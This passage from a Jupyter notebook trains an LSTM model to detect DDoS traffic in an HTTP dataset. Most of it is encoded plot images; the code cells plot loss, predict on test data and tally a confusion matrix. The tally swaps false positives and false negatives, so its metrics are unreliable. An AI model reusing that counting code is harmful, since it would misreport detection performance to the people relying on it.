Jq1Ch3ZxNCiEKmFjeWOsGRt5eJ9s3qs/1QeqXO6FfXlalQPProoyxbtozPPvsMgLfeeotHHnnErcGEEOJqBRMc3XV5gqNFJbbr0iaEsxfzOZZ2qQrT1W5lvutp7969KIrCm2++yWuvvSZ3PQkhqpwWHHl5gqO1JU5w1KlVA1RFkbufKpHc9SSEqFEKJzja8Hmx3Uv+PhbaNAmUp7Qrkdz1JISoURSrH5Ybb8V5+hCOw5uKbdOldQinzuZwUubUrhRy15MQosYxt+mH2qAp+ZsWYtjzrnm/c1QDADmrqCRuvespLi6OESNGMGTIEObPn19iu5kzZ7Jo0W8Xp7Zu3cqECRMYPXo006dP58KFC2WJKYSoIxRVxRp7F0b2OWw7ll3zflCAlRaNAtgmhaJSlOuup//+979A2e56SktLY968eXzxxRcsWbKEhQsXkpycfE2b6dOns2rVqiLLn332WebMmUNcXBytWrXio48+Ks9nEkLUAVp4FKaoWGy7V6JfSLvm/a6tQzh2+hJnLkg3+fUqU6HQdZ24uDjuvvtu7rjjDn744QccDofLdeLj4+nZsyeBgYH4+PgwdOhQVq5cWaRNXFwcgwYNYvjw4UWWL1++nFatWmG320lLSyMgIKCcH0sIURd49bgNNBN5CV9c816X1iEA8vBdJSjTDHdz587lwIEDTJkyBV3XWbhwIXPmzOEvf/lLieukp6cTEhJS+Do0NJTdu4tOQDJ16lQAtm3bVmS52Wzm4MGD3HfffZhMJp544okyfyCA4GC/crW/WkiIf4XX9YSalLcmZYWalbcmZYXKzOvP+b4TyVzzX/zzUrFGti2yj6bh/iT+msnkEe0qvIe6e2x/U6ZCsX79er799lvMZjMA/fv3Z8yYMS4Lha7rKIpS+NowjCKvS9OmTRvi4+P58ssvmTFjBl9++WWZ1z17NqtCg4KFhPiTkVFzHtKpSXlrUlaoWXlrUlao/LxGk1hQPufMni14WYtO4dqxZTBxG46SfPQs9Xwt5d52XTm2qqq4/IJdpq4nwzAKiwSAxWIp8ro44eHhZGT8diEpIyOD0NDQUveVn5/PDz/8UPh6zJgxHDx4sCwxhRB1kGLxRg2KxJl27ciyXVqHYAA7k+Si9vUoU6GIjo7m1Vdf5fjx46SkpPDaa6/RunVrl+vExsaSkJBAZmYmubm5rF69mn79+pW6L5PJxN/+9jf27NkDwIoVK+jSpUtZYgoh6igtrBXOtMMYurPI8shQP0ICrXL303UqU6GYNWsWFy9eZNKkSdx2222cPXuWO+64w+U6YWFhzJgxg3vuuYdx48YxatQoYmJimDZtGomJiSWup2ka8+bN44UXXmDs2LGsWrWKV155pXyfSghRp2jhUeDIR89MLbJcURS6tA5h/9Fz5OS5vgFHlEwxKjjEYpcuXdi+fXtl56kUco2i+qlJWaFm5a1JWcE9efVLZ8he8CResXdh6XBzkfeSUy/w6ufbeHB0O3q2Dy/XduvKsa2UaxTFkSF8hRDVheIXjOJbv9jrFC0aB1DP1yLdT9ehwoWiPHcwCSGEOymKghYWhbOYqVLVy91PiUfOkm93FrO2KE2FC4UQQlQnWlgrjOxM9Kyz17zXpU0INrvO3l8zPZCs5nP5HEXnzp2LPXMwDIO8vGsH4hJCCE/RwqMAcKYlo/oFF3mvTWQgvlYT2w9lFD6xLcrOZaFYtuzawbaEEKI6UoMjwWTBeToJc8seRd4zaSodWzVgZ9IZHE4dkyadKeXhslA0bty4qnIIIcR1UVQTWmjLYi9oQ8EggfF7TnPw+HnaNw+q4nQ1m5RVIUStoYW1Qj+bUuwcFe2bB2Exq3L3UwVIoRBC1BpaWBQYOs70I9e8ZzFrxLQIZsehDHS5vb9cpFAIIWoNLawloJTY/dSldQgXsm0cOXGxaoPVcFIohBC1huLli1q/cbHPUwDEtGyApipsO5RexclqNikUQohaRQu/MkCgfs17PlYT7ZoFse1ghowuUQ5SKIQQtYoWFgX2XPRzJ4p9v2ubEM5cyCMlPauKk9VcUiiEELXKbw/eFd/91KlVAxQFtsvdT2UmhUIIUaso/iEo3gElXqcI8LUQFREot8mWgxQKIUStUjhAYFpyiW26tg7hREY2pzNzqjBZzSWFQghR62jhURiXMtBzzhf7/pXxnqT7qWykUAghah0trBVAid1PwfWsNAv3Z9tBKRRlIYVCCFHrqA2agWZ22f3UpXUIv566SOZFGQm7NFIohBC1jqKZ0EKal3hGAQW3yQLsSDpTVbFqLCkUQohaSQuPQj9zDMORX+z7DYN9aRjsw7aD8pR2aaRQCCFqpYIBAp04038tsU3XNiEcTDnPpRxbFSareaRQCCFqpcIL2iU8eAcF1ykMA3YmS/eTK1IohBC1kmL1Qw1s6PKCdtMwf4IDvNgudz+5JIVCCFFrXXnwzjCuHSAQCh7O69I6lL1HM8nNd1RxuppDCoUQotbSwqMgPxv9/KkS23RtE4LDaZB45GwVJqtZpFAIIWotLezyAIEubpNt1bgeAT5mefjOBSkUQohaS6kXhmL1d3mdQlUVOkWFsPvIWewOZxWmqzmkUAghaq2CAQJbubzzCQq6n/JtTvYePVdFyWoWKRRCiFpNDYvCuJCGnlvyPNltm9bH20uTu59K4NZCERcXx4gRIxgyZAjz588vsd3MmTNZtGhR4ett27Zx6623MnbsWKZMmcKJE8XPVCWEEKUpbSIjAJOm0rFVA3YkZeAsZgrVus5thSItLY158+bxxRdfsGTJEhYuXEhycvI1baZPn86qVauKLH/qqaeYPXs2S5cuZfTo0cyePdtdMYUQtZzWoCmoJpcXtAG6RIWQnefg0PHzVROsBnFboYiPj6dnz54EBgbi4+PD0KFDWblyZZE2cXFxDBo0iOHDhxcus9lsPPbYY0RHRwPQpk0bTp0q+dY2IYRwRTFZUEOaubygDXBDi2DMJpXth+Qp7d9zW6FIT08nJCSk8HVoaChpaWlF2kydOpWJEycWWWaxWBg7diwAuq7zz3/+k5tvvtldMYUQdYAW1go94yiGo+QxnbwsGh2aB7E9KQPdMKowXfVncteGdV1HUZTC14ZhFHldGpvNxjPPPIPD4eChhx4q176Dg/3K1f5qISH+FV7XE2pS3pqUFWpW3pqUFao+b3brGNJ2ryTAkYG1YXSJ7fp3a8K8Bds5n+ugTdMgQI4tuLFQhIeHs3Xr1sLXGRkZhIaGlmnd7Oxs/vCHPxAYGMh7772H2Wwu177Pns1C18v/jSAkxJ+MjEvlXs9TalLempQValbempQVPJNX944A4MyBXXhZG5fYrkWYL5qq8OOmYwT5mOvMsVVVxeUXbLd1PcXGxpKQkEBmZia5ubmsXr2afv36lWndp556iqZNm/L2229jsVjcFVEIUUeo3gEoAWHopTxP4Ws1E90kkG2HMjDc1P2kXzqDMzPVLdt2F7cVirCwMGbMmME999zDuHHjGDVqFDExMUybNo3ExMQS19u3bx8//vgj27dvZ/z48YwdO5Zp06a5K6YQoo7QwltdHiDQdQHo0iaU9HO5nDiTXekZDMMgd9Xb5Hz7PPmbv8Zw2it9H+7gtq4ngNGjRzN69Ogiyz744INr2r3++uuFf27Xrh0HDx50ZywhRB2khUXhOLQB40IaSmB4ie06RzXg81UH2X4wg87tGlZqBmdaEnpmKmqDZth2fo/j+G6sAx9EC4qs1P1UNnkyWwhRJ5TlwTuAQD8vWkbUY9uhyn9K275vLZi98Rn9LN5DH8PIvUDOor9h27Ucoxo/6CeFQghRJ6iBDcHLt9QH7wC6tg4hJT2L02crr/tJz72I48gWzK1jUcxemJp2xufW2ZiadCR/01fkLnsd/WL1HEJECoUQok5QFBUttGWpZxRQMEUqQEJi5T3saz/4C+gOzG0HFi5TvQOwDv4j1v5TcZ49Tva3z2M/sM5tF9Iryq3XKIQQojrRwqOwpezGyMtCsZZ8O2hIoDdNQv34eUcqDfwK7ry88hjYlefBFAUUriyk4E+Xl139yJiigGIY1NuzBj24FSfsAQTl2vHzNhduz9y6D1rDaPJ++pC8dR9jOrYDr773ovrUq+xDUCFSKIQQdUbhREZpyZiadnLZtnvbUL79+QhzFuy47v1Gm0/wB/8z/De9LTuStmDSVGI7hDO4eySNG/gCoPo3wHvUTOyJ/yN/y9c4v3kOr373Ym7W9br3f72kUAgh6gwttDkoGs60pFILxdAbm9C9QyMyM7MxAAwDAyjsFDLAKPi/guUFjbjSa2Rc1SZ891YcF/2IHT6CXorGvqOZbNhzmnW7TnJDi2CG3BhJu6b1URQVS8xQtIgO5K39N3mr38HRujfW2MkoFh93HJIykUIhhKgzFJMXaoOmZbqgbdJU2rcIJsP/+h761bPOkv3TfiwdR9K1bcHttt2iQxnfrwU/7TjBj9tPMPfLnUSE+DKkexN6tAvDHNQYn3HPY9u+FNvOZWSfPIC1/1RMjdpeV5aKkovZQog6RQtrhTPjVwyno0r2Z9//ExhgbntTkeX+PhZG927Om3+I5f4RBQXg4+X7eeq9eOI2/EpWvo5X91vwGfNXUE3kLptDXsIClwMbuoucUQgh6hQtPAr7ntXoZ4+hhbZ0674M3YH9wDq0JjGo/iHFtjGbVPrENKT3DeHsO3aO1ZtTWLz+V5YlHKP35esY4be8RP6mhdgTV+FMTcQ64KGCeTaqiBQKIUSdUvjg3ekktxcKx9HtGLkXsLQbUGpbRVFo3yyI9s2COHEmm/9tSeGXxNP8tPMkMS2DGdp9FK2adCJ/3cfkLH4JS9exWDqNRFE1t34GkK4nIUQdo/oEoviHlOk6xfWy71uL4heMFhFTrvUaN/Dl3uHRvPVwLOP6NOfoqYu8+eVOZv+Qx552f0Jr1hXb1kXkxL2GfiGt9A1eJykUQog6RwtrhTMtya0PtjnPn8R5cj/mtv1R1Ir9qg3wtTCmT3PefDiW+4ZHo+sG/159jL8ejGFfxC3o506S/e3z2Patcetnka4nIUSdo4VH4UhOwLiUgRJQtnlyysu+by2oGuY2ZZtewRWzSaNvx0b0iWnI3qOZrN6cwv/tttHAPJIHQ7YS9stnOI7twHnrnysh+bWkUAgh6pzCB+9OJ6G6oVAYjnzshzZgata1Up+uVhSFDs2D6dA8mNSMLP63JYU5e73paQphfMp20nZtwNyqd6Xt7wrpehJC1Dlq/cZg9i7TuE8V4UjeBLYczO0Glt64giJC/LhvRFvefLgPQd2G8YZzCoe92rtlX3JGIYSocxRVRQtrifN0slu2b9u/FrV+I7SGbdyy/avV87Uwrm8LxvVt4bapW+WMQghRJ2lhUejnTmDkV+5Mds6Mo+gZv2JuO6BwAMGaTgqFEKJOKniewsCZfrhSt2vftwZMFsytK/9agadIoRBC1ElaaAtQ1Ep9nsLIz8aevBFzq54eHcSvskmhEELUSYrZihociTOt8q5T2JPiwWlz60VsT5BCIYSos7SwKJzphzH06x8g0DAM7PvWooa0QGvQ7PrDVSNSKIQQdZYW1gocNvSzqde9LeepA+jnT5ZpXKeaRgqFEKLOKhwgsBKep7DvWwtevpha9rjubVU3UiiEEHWW6heM4ht03Re09ZzzOH7dhrl1HxTT9U10VB1JoRBC1GlaeNR1DxBoP7AODCeWtrWv2wmkUAgh6jgtLAoj+xxG1tkKrW/oOvYDP6M1bocaGF7J6aoHKRRCiDpNC28FUOHbZJ0puzCyzmKupWcTIIVCCFHHqUGRYPKq8HUK2761KD6BmJp1ruRk1YcUCiFEnaaoWsEAgRW480m/mIEzJRFzdD8UtfaOsSqFQghR52lhUeiZKRi23HKtZ9+/FhQwR9/kpmTVg9sLRVxcHCNGjGDIkCHMnz+/xHYzZ85k0aJFRZZ9/fXXPPPMM+6OKISo47SwVmCUb4BAw2nHfnA9piadUP2C3ZjO89xaKNLS0pg3bx5ffPEFS5YsYeHChSQnJ1/TZvr06axatapwWX5+Pm+99RavvvqqO+MJIQQAWlhLQCnXBW3Hr9sw8i7VunGdiuPWQhEfH0/Pnj0JDAzEx8eHoUOHsnLlyiJt4uLiGDRoEMOHDy9ctmXLFnRd56mnnnJnPCGEAECx+KAGRZTrgrZ93xqUgFC0CPfMKleduLVQpKenExISUvg6NDSUtLS0Im2mTp3KxIkTiyzr06cPM2fOxGq1ujOeEEIU0sKvDBCol9rWmZmK8/QhLG37oyi1/1KvWy/T67peZIYnwzCqZMan4GC/Cq8bEuJfiUncryblrUlZoWblrUlZoXrmvRR1Axn71lDPyMQrpHnh8uKyntn2C4pmJjx2OJpP9fos7ji2bi0U4eHhbN26tfB1RkYGoaGh7twlAGfPZqHr5X8c313zzbpLTcpbk7JCzcpbk7JC9c2re0cAcObALixaA6D4rIY9j6zdP2Fq3o3MbAWyq89nqeixVVXF5Rdst54zxcbGkpCQQGZmJrm5uaxevZp+/fq5c5dCCFEhin8DFJ/AUp+nsCdvBHseljpwEfsKtxaKsLAwZsyYwT333MO4ceMYNWoUMTExTJs2jcTERHfuWgghykVRFLSwVi4vaBdMTrQGNSgSNaxVFabzLMW4niETqynpeqp+alJWqFl5a1JWqN55bYmryE9YgO/keai+9a/J6kxLJmfpbLz63FMtzyhqZNeTEELUJFrY5YmMSjirsO1bC2Yr5la9qjKWx0mhEEKIy9QGTUCzFHudwsjLwnFkE+aoWBSLtwfSeY4UCiGEuExRTWihzYt9Qtt+aD04HZhr4ZzYpZFCIYQQV9HCotDPHMOw5xcuMwwd276f0MKi0IIiPZjOM6RQCCHEVbTwKDB0nBlHCpc5T+zDuJhWJ88mQAqFEEIUoV2+7fXqC9r2fWtRrP6YWnT3VCyPkkIhhBBXUbx8Ues3KrxOoWefw3FsB6bWfVA0s4fTeYYUCiGE+B0tLApnWjKGoWM/8DMYOpY62u0EUiiEEOIaWngU2HKwpR3DfuBntIgOqAHuH6euupJCIYQQv3PlwbvMtfMxss/VicmJXJFCIYQQv6MEhKJY/ck9sgPFNwhTk46ejuRRUiiEEOJ3FEUp6H4CzG1vQlE1DyfyLCkUQghRDC2iA4rZijn6Jk9H8Ti3TlwkhBA1lbltf8JvHERmVq0bYLvc5IxCCCGKoSgqmnfFp1WuTaRQCCGEcEkKhRBCCJekUAghhHBJCoUQQgiXpFAIIYRwSQqFEEIIl2rlcxSqqnhkXU+oSXlrUlaoWXlrUlaoWXlrUlaoWN7S1lEMw5CnSYQQQpRIup6EEEK4JIVCCCGES1IohBBCuCSFQgghhEtSKIQQQrgkhUIIIYRLUiiEEEK4JIVCCCGES1IohBBCuCSF4rK4uDhGjBjBkCFDmD9/vqfjuPTPf/6TkSNHMnLkSObMmePpOGX2xhtv8Mwzz3g6hktr1qxhwoQJDB8+nNmzZ3s6TqmWLl1a+HfhjTfe8HScYmVlZTFq1ChSU1MBiI+PZ/To0QwZMoR58+Z5OF1Rv8+6cOFCRo0axejRo3n22Wex2WweTljU7/Ne8fnnn3P33XdX3o4MYZw+fdoYMGCAce7cOSM7O9sYPXq0kZSU5OlYxdqwYYNx++23G/n5+YbNZjPuueceY/Xq1Z6OVar4+HijR48extNPP+3pKCU6fvy40adPH+PUqVOGzWYz7rjjDuOnn37ydKwS5eTkGN27dzfOnj1r2O1249ZbbzU2bNjg6VhF7Ny50xg1apTRvn17IyUlxcjNzTVuuukm4/jx44bdbjfuv//+anOMf5/1yJEjxuDBg41Lly4Zuq4bM2fOND755BNPxyz0+7xXJCUlGX379jXuuuuuStuXnFFQ8A2nZ8+eBAYG4uPjw9ChQ1m5cqWnYxUrJCSEZ555BovFgtlspmXLlpw8edLTsVw6f/488+bNY/r06Z6O4tL//vc/RowYQXh4OGazmXnz5tGxY0dPxyqR0+lE13Vyc3NxOBw4HA68vLw8HauIr776ilmzZhEaGgrA7t27adq0KZGRkZhMJkaPHl1t/q39PqvFYmHWrFn4+fmhKAqtW7euVv/Wfp8XwGaz8cILL/Doo49W6r5q5eix5ZWenk5ISEjh69DQUHbv3u3BRCWLiooq/PPRo0dZsWIFCxYs8GCi0r3wwgvMmDGDU6dOeTqKS8eOHcNsNjN9+nROnTpF//79efzxxz0dq0R+fn489thjDB8+HG9vb7p3706XLl08HauIV155pcjr4v6tpaWlVXWsYv0+a+PGjWncuDEAmZmZzJ8/n9dee80T0Yr1+7wAc+fO5ZZbbiEiIqJS9yVnFICu6yjKb8PsGoZR5HV1lJSUxP3338/MmTNp1qyZp+OU6Ouvv6Zhw4b06tXL01FK5XQ6SUhI4NVXX2XhwoXs3r2bxYsXezpWiQ4cOMC3337L2rVrWb9+Paqq8tFHH3k6lks18d9aWloaU6ZM4ZZbbqFHjx6ejlOiDRs2cOrUKW655ZZK37YUCiA8PJyMjIzC1xkZGUVO56qbbdu2ce+99/LnP/+Z8ePHezqOS8uXL2fDhg2MHTuWf/zjH6xZs4ZXX33V07GK1aBBA3r16kVQUBBWq5Wbb7652p5ZAvzyyy/06tWL4OBgLBYLEyZMYPPmzZ6O5VJN+7d2+PBhJk2axPjx43nkkUc8HcelZcuWkZSUxNixY3nuuefYs2dP5Z0RV9rVjhrsysXss2fPGjk5OcaYMWOMXbt2eTpWsU6ePGn06NHDiI+P93SUcvv222+r9cXsnTt3GkOHDjUuXLhgOBwO46GHHjK++uorT8cq0fr1640xY8YY2dnZhq7rxvPPP2/84x//8HSsYg0YMMBISUkx8vLyjH79+hlHjx41HA6H8cADDxjLly/3dLwirmS9dOmScdNNNxmLFy/2dCSXruS92saNGyv1YrZcowDCwsKYMWMG99xzD3a7nVtvvZWYmBhPxyrWRx99RH5+Pq+//nrhskmTJnHHHXd4MFXt0LFjR6ZOncqdd96J3W6nd+/ebjmNryx9+vRh3759TJgwAbPZzA033MCDDz7o6VgueXl58frrr/OnP/2J/Px8brrpJoYNG+bpWMX65ptvOHPmDJ988gmffPIJAAMHDuSxxx7zcLKqJzPcCSGEcEmuUQghhHBJCoUQQgiXpFAIIYRwSQqFEEIIl6RQCCGEcElujxWiHNq0aUPr1q1R1aLfsd59991KHzahTZs2JCQkEBQUVKnbFaK8pFAIUU6ffvqp/PIWdYoUCiEqyaZNm3jrrbdo1KgRR44cwWq18vrrr9OyZUsuXbrE3/72Nw4cOICiKPTt25cnnngCk8nErl27mD17Nrm5uZjNZmbOnFk4NtY777zDrl27OH/+PA888ACTJ0/28KcUdZEUCiHKacqUKUW6niIiInj33XcB2LNnD08//TTdunVjwYIFPPXUUyxatIjZs2cTGBhIXFwcdrudP/zhD3z88cfcd999PPLII8yePZv+/fuzZ88enn32WZYuXQpAZGQks2bNYt++fdx+++3cdtttmM1mj3xuUXdJoRCinFx1PUVHR9OtWzcAbrnlFl566SXOnTvHunXrWLBgAYqiYLFYmDRpEp9++im9e/dGVVX69+8PQIcOHYiLiyvc3qhRowBo27YtNpuNrKws6tev794PKMTvyF1PQlQiTdOKXfb74bV1XcfhcKBp2jXDbB86dAiHwwGAyVTwXe5KGxlxR3iCFAohKtGBAwc4cOAAUDDfcufOnQkICKBPnz58/vnnGIaBzWbjq6++IjY2lhYtWqAoChs2bABg7969TJkyBV3XPfkxhChCup6EKKffX6MAeOKJJ7BarTRo0IC3336bEydOEBQUxJw5cwB47rnnmD17NqNHj8Zut9O3b1+mT5+OxWLhnXfe4dVXX2XOnDmYzWbeeecdLBaLJz6aEMWS0WOFqCSbNm3i5ZdfZtmyZZ6OIkSlkq4nIYQQLskZhRBCCJfkjEIIIYRLUiiEEEK4JIVCCCGES1IohBBCuCSFQgghhEtSKIQQQrj0/wG2DOolbvn5iAAAAABJRU5ErkJggg==\n", 394 | "text/plain": [ 395 | "
" 396 | ] 397 | }, 398 | "metadata": {}, 399 | "output_type": "display_data" 400 | } 401 | ], 402 | "source": [ 403 | "# Plot training & validation loss values\n", 404 | "plt.plot(history.history['loss'])\n", 405 | "plt.plot(history.history['val_loss'])\n", 406 | "plt.title('LSTM DDoS loss in HTTP Dataset ')\n", 407 | "plt.ylabel('Loss')\n", 408 | "plt.xlabel('Epoch')\n", 409 | "plt.legend(['Train', 'Test'], loc='upper left')\n", 410 | "plt.savefig('BRNN Model Loss.png')\n", 411 | "plt.show()" 412 | ] 413 | }, 414 | { 415 | "cell_type": "code", 416 | "execution_count": 23, 417 | "id": "be20e157", 418 | "metadata": {}, 419 | "outputs": [ 420 | { 421 | "name": "stdout", 422 | "output_type": "stream", 423 | "text": [ 424 | "263/263 [==============================] - 2s 5ms/step\n" 425 | ] 426 | } 427 | ], 428 | "source": [ 429 | "predict = model.predict(X_test, verbose=1)" 430 | ] 431 | }, 432 | { 433 | "cell_type": "code", 434 | "execution_count": 24, 435 | "id": "58f2a8f7", 436 | "metadata": {}, 437 | "outputs": [], 438 | "source": [ 439 | "tp = 0\n", 440 | "tn = 0\n", 441 | "fp = 0\n", 442 | "fn = 0\n", 443 | "predictn = predict.flatten().round()\n", 444 | "predictn = predictn.tolist()\n", 445 | "Y_testn = Y_test.tolist()\n", 446 | "for i in range(len(Y_testn)):\n", 447 | " if predictn[i]==1 and Y_testn[i]==1:\n", 448 | " tp+=1\n", 449 | " elif predictn[i]==0 and Y_testn[i]==0:\n", 450 | " tn+=1\n", 451 | " elif predictn[i]==0 and Y_testn[i]==1:\n", 452 | " fp+=1\n", 453 | " elif predictn[i]==1 and Y_testn[i]==0:\n", 454 | " fn+=1" 455 | ] 456 | }, 457 | { 458 | "cell_type": "code", 459 | "execution_count": 25, 460 | "id": "ffda0035", 461 | "metadata": {}, 462 | "outputs": [ 463 | { 464 | "data": { 465 | "image/png": "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